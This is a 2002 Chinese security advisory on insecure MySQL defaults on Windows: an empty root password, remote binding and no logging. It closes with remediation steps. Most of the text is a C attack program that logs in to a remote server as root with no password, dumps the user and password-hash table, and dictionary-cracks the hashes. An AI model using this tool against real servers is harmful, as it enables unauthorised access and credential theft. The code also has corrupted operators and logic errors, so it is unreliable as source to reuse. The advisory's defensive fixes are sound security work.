首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>本站原创>安全防范>文章内容
Windows 平台的 MySQL 缺省配置的脆弱性
来源:vfocus.net 作者:vitter 发布时间:2002-08-26  

Windows 平台的 MySQL 缺省配置的脆弱性

涉及程序:
MySQL for windows

描述:
Windows 平台的 MySQL 缺省配置的脆弱性

详细:
MySQL 是一款源代码开放的关系型数据库管理系统(RDMS)。然而由于 MySQL 在 Windows 平台上缺省配置的弱安全性,使得普通用户如果不注意的话很容易遭到攻击。

MySQL 缺省配置的弱安全性主要表现在下面几点:

1) 空 root 口令:

MySQL 允许管理员通过一个叫做'mysql.user'的内部数据库系统表格进行用户管理。这个表格包括用户的用户名,口令和主机名。然而,MySQL 缺省允许用户使用空口令本地或远程登陆系统。但是 MySQL 的用户手册中却从来没有提到要删除缺省的 root/NULL 帐号。

2) Non-loopback-bound server:

大部分的MySQL用户都是在同一台本地主机上运行他们的数据库服务器。 如果一台服务器被绑定到Loopback(回环)接口,就意味着仅仅允许在本地登陆,已经排除了远程登陆的可能性,因为在实际中,大多数用户一般是不需要远程登陆的。然而在MySQL的配置文件中,'bind-address=127.0.0.1'缺省是被注释掉的,使得MySQL能够被远程主机访问。联合上述(1)中提到的root用户缺省空口令问题,将意味着如果用户按缺省配置不做更改的话,任何攻击者不用任何口令都可以远程登陆到服务器上。

3) 缺省没有任何日志:

通常在任何安全服务器软件中,日志都是必不可少的。但是 Windows 平台上的 MySQL 缺省根本就没有任何日志。也就是说 MySQL 管理员根本就无法知道他的服务器是否已经受到了安全威胁。


攻击方法:

#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#endif
#include <mysql.h>

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*Crazy MySQL programmers and their short typedefs*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

#ifndef ulong
#define ulong unsigned long
#endif

#ifndef uint
#define uint unsigned int
#endif

#ifndef uchar
#define uchar unsigned char
#endif

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*##--####--####--####--####--####--####--####--##*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

/*--------------------------------------------------------------*/
/*<<This section is ripped straight from the MySQL
source.>>*/
/*I have this all nice and optimized in assembly on my
end, but*/
/*writing cross-compiler inline is not too fun, and
requring an*/
/*assembler is kinda frustrating.*/
/*--------------------------------------------------------------*/
void hash_password(ulong *result, const char *password)
{
register ulong nr=1345345333L, add=7, nr2=0x12345671L;
ulong tmp;
for (; *password ; password++)
{
if (*password == ' ' ││ *password == '\t')
continue; /* skipp space in password */

tmp= (ulong) (uchar) *password;
nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
nr2+=(nr2 << 8) ^ nr;
add+=tmp;
}

result[0]=nr & 2147483647; /* Don't use sign bit
(str2int) */;
result[1]=nr2 & 2147483647;
return;
}

void make_scrambled_password(char *to,const char *password)
{
ulong hash_res[2];
hash_password(hash_res,password);
sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
}
/*--------------------------------------------------------------*/
/*<<######################################################>>*/
/*--------------------------------------------------------------*/


/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/


/*--------------------------------*/
/*>*/
/*--------------------------------*/
typedef struct
{
char *user;
char *password;
} user;

#define MAX_USERS 16
/*--------------------------------*/
/*<<########################>>*/
/*--------------------------------*/


//main - for "coherency's" (yes, i mean laziness) sake,
i've kept this a single function
int
main
(
int argc,
char** argv
)
{

MYSQL * mysqlData; //--│-
MYSQL_RES * mysqlResult; //--│-MySQL Datatypes
MYSQL_ROW mysqlRow; //--│-

char *spHost; //--│
char *spUser="root"; //--│
char *spPassword=NULL; //--│-Our connection data
int spPort=3306; //--│
char *spServerVersion; //--│

int usernum=0; //--│
user *users[MAX_USERS]; //--│-User name/hash storage
data

FILE *fin, *fout; //--│
char *file_name; //--│-File I/O data

char *line=(char *)malloc(64); //--│
char *buff=(char *)malloc(64); //--│-Miscellaneous
buffers

int i=0; //--│Counter


//Warn about not meeting minimal arguments
if (2>argc)
{
fprintf (stderr, "usage: mysqlfuck host [-p<port>]");
return -1;
}

//Copy the first argument into the host buffer
spHost=(char *)malloc(sizeof(argv[1]));
strcpy (spHost, argv[1]);

//Copy port if the user specified
if (argv[2])
{
if (argv[2][1]=='p')
{
++argv[2];
++argv[2];
spPort=atoi(argv[2]);
printf ("port: %i\n", spPort);
}
}

//Initialize MySQL data and connect with root/NULL

mysqlData = (MYSQL *)malloc(sizeof(MYSQL));

mysql_init (mysqlData);

if (! mysql_real_connect (mysqlData, spHost, spUser,
spPassword, "mysql", spPort, NULL, 0) )
{
fprintf (stderr, "mysql_real_connect: %s\n",
mysql_error (mysqlData));
return -1;
}

//If the server logs, inform the user!

printf ("server version: %s\n",
mysql_get_server_info(mysqlData));

if (strstr (mysql_get_server_info (mysqlData), "log"))
{
printf ("Warning! Server is logging - Continue(*/n)?");
if (getchar()=='n')
{
mysql_close (mysqlData);
return -1;
}
}

//"Obtain" the hashes (notice i didn't use the word
steal)

if ( mysql_query (mysqlData, "SELECT user,password
FROM user") )
{
fprintf (stderr, "mysql_query: %s\n", mysql_error
(mysqlData));
return -1;
}

//Store the result and process it

mysqlResult=mysql_store_result(mysqlData);
while (mysqlRow=mysql_fetch_row(mysqlResult))
{
if (strlen(mysqlRow[0])==0)
{
mysqlRow[0]="(NULL)";
}

if (strlen(mysqlRow[1])==0)
{
mysqlRow[1]="(NULL)";
}


users[usernum]=(user *)malloc(sizeof(user));
users[usernum]->user=(char
*)malloc(strlen(mysqlRow[0])+1);
strcpy (users[usernum]->user, mysqlRow[0]);
users[usernum]->password=(char
*)malloc(strlen(mysqlRow[1])+1);
strcpy (users[usernum]->password, mysqlRow[1]);
usernum++;
}

mysql_close (mysqlData);

//Setup putput file name string

file_name=(char *)malloc (sizeof(spHost)+4);
strcpy (file_name, spHost);
strcat (file_name, ".txt\0\0");
printf ("\n+----------------------------+\n");
printf ("<decrypting and dumping to %s>\n", file_name);
printf ("+----------------------------+\n");


fout=fopen (spHost, "w");

if (!fout)
{
fprintf (stderr, "Unable to open %s for password
dumping\n", spHost);
return -1;
}


//Use a database to crack the hashes (optional)
fin=fopen ("dictionary.txt", "r");
if (!fin)
{
fprintf (stderr, "error opening dictionary.txt - no
decryption will take place\n");

for (i=0;i<usernum;i++)
{
printf ("%s::%s\n", users->user,
users->password);
}

return -1;
}

//Loop through the user array and crack/output hashes
for (i=0;i<usernum;i++)
{
if (users->user)
{
if (users->password)
{

while ( (fgets (line, 63, fin)))
{
line[strlen(line)-1]='\0';
make_scrambled_password (buff, line);
if (strcmp (buff, users->password)==0)
{
users->password=line;
break;
}
}

fclose (fin);

fprintf (fout, "%s::%s\n", users->user,
users->password);
printf ("%s::%s\n", users->user,
users->password);
fflush (fout);
}
}
}

//Always clean up after yourself!

fclose (fout);

if (buff)
free (buff);

if (line)
free (line);

if (spHost)
free (spHost);

if (users)
free (users);

if (file_name)
free (file_name);

if (mysqlData)
free (mysqlData);

}


解决方案:
1) 空 root 口令:
将缺省的 root 空帐号删除或改为强壮的口令。修改口令方法:mysqladmin -u root -p password vitterpasswd
输入这个命令后,需要输入root的原密码(默认空直接回车),然后root的密码将改为vitterpasswd。

2) Non-loopback-bound server:
在 my.ini 文件中将'bind-address=127.0.0.1' 的注释取消。

3) 缺省没有任何日志:
在my.ini文件中添加如下两行字串:
log-long-format
log=/path/to/somewhere/log.txt




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·访问列表(ACL)在Cisco路由器安
·我的一台linux肉鸡的简单手工入
·两分种搞定UPX壳
·防止apache的php扩展名解析漏洞
  相关文章
·两分种搞定UPX壳
·访问列表(ACL)在Cisco路由器安
·我的一台linux肉鸡的简单手工入
·防止apache的php扩展名解析漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved